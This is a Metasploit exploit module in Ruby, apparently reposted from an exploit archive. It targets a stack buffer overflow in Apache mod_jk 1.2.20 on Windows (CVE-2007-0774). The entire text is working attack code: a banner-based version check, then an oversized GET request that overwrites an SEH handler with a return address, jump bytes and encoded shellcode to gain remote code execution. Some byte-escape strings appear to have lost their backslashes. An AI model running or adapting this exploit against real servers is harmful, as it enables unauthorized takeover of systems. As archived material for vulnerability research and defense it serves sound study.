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apache_modjk_overflow.rb.txt

Posted on 10 July 2007

require 'msf/core'

module Msf

class Exploits::Windows::Http::Apache_Mod_JK < Msf::Exploit::Remote

include Exploit::Remote::Tcp
include Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name'           => 'Apache mod_jk 1.2.20 Buffer Overflow',
'Description'    => %q{
This is a stack overflow exploit for mod_jk 1.2.20.
Should work on any Win32 OS.
},
'Author'         => 'Nicob <nicob[at]nicob.net>',
'Version'        => '$Revision: 4961 $',
'License'        => MSF_LICENSE,
'References'     =>
[
[ 'BID', '22791'],
[ 'CVE', 'CVE-2007-0774' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-008.html'],

],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged'     => true,
'Payload'        =>
{
'Space'    => 4000,
'BadChars' => "x00x3ax26x3fx25x23x20x0ax0dx2fx2bx0bx5c",
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'MaxNops'  => 0,
},
'Platform'       => 'win',
'Targets'        =>
[
# POP/POP/RET in mod_jk 1.2.20 (Apache 1.3.37, 2.0.58 and 2.2.3)
['mod_jk 1.2.20 (Apache 1.3.x/2.0.x/2.2.x) (any win32 OS/language)', { 'Ret' => 0x6a6b8ef1 }],
],
'DefaultTarget'  => 0))

register_options( [ Opt::RPORT(80) ], self.class )
end

def check
connect

sock.put("GET / HTTP/1.0

")
resp = sock.get_once
disconnect

if (resp and (m = resp.match(/Server: Apache/(.*) (Win32)(.*) mod_jk/1.2.20/))) then
print_status("Apache version detected : #{m[1]}")
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end

def exploit
connect

uri_start  = "GET /"
uri_end    = ".html HTTP/1.0

"
sc_base    = 16

shellcode  = payload.encoded
sploit     = Rex::Text.rand_text_alphanumeric(5001, payload_badchars)
sploit[sc_base, shellcode.length] = shellcode

# 16 : Apache/1.3.37 (Win32) mod_jk/1.2.20
# 20 : Apache/2.0.59 (Win32) mod_jk/1.2.20
# 21 : Apache/2.2.3  (Win32) mod_jk/1.2.20

seh_base = 4087
[ 16, 20, 21 ].each { |x|
seh_offset = seh_base + (16 * x)
sploit[seh_offset - 9, 5] = "xe9" + [sc_base - seh_offset + 4].pack('V')
sploit[seh_offset - 4, 2] = "xebxf9"
sploit[seh_offset    , 4] = [ target.ret ].pack('V')
print_status("Inserting custom SEH at offset #{seh_offset} ...")
}

print_status("Trying target #{target.name}...")
sock.put(uri_start + sploit + uri_end)

resp = sock.get_once
if (resp and (m = resp.match(/<title>(.*)</title>/i)))
print_status("The exploit failed : HTTP Status Code '#{m[1]}' received :-(")
end

handler
disconnect
end

end
end

 

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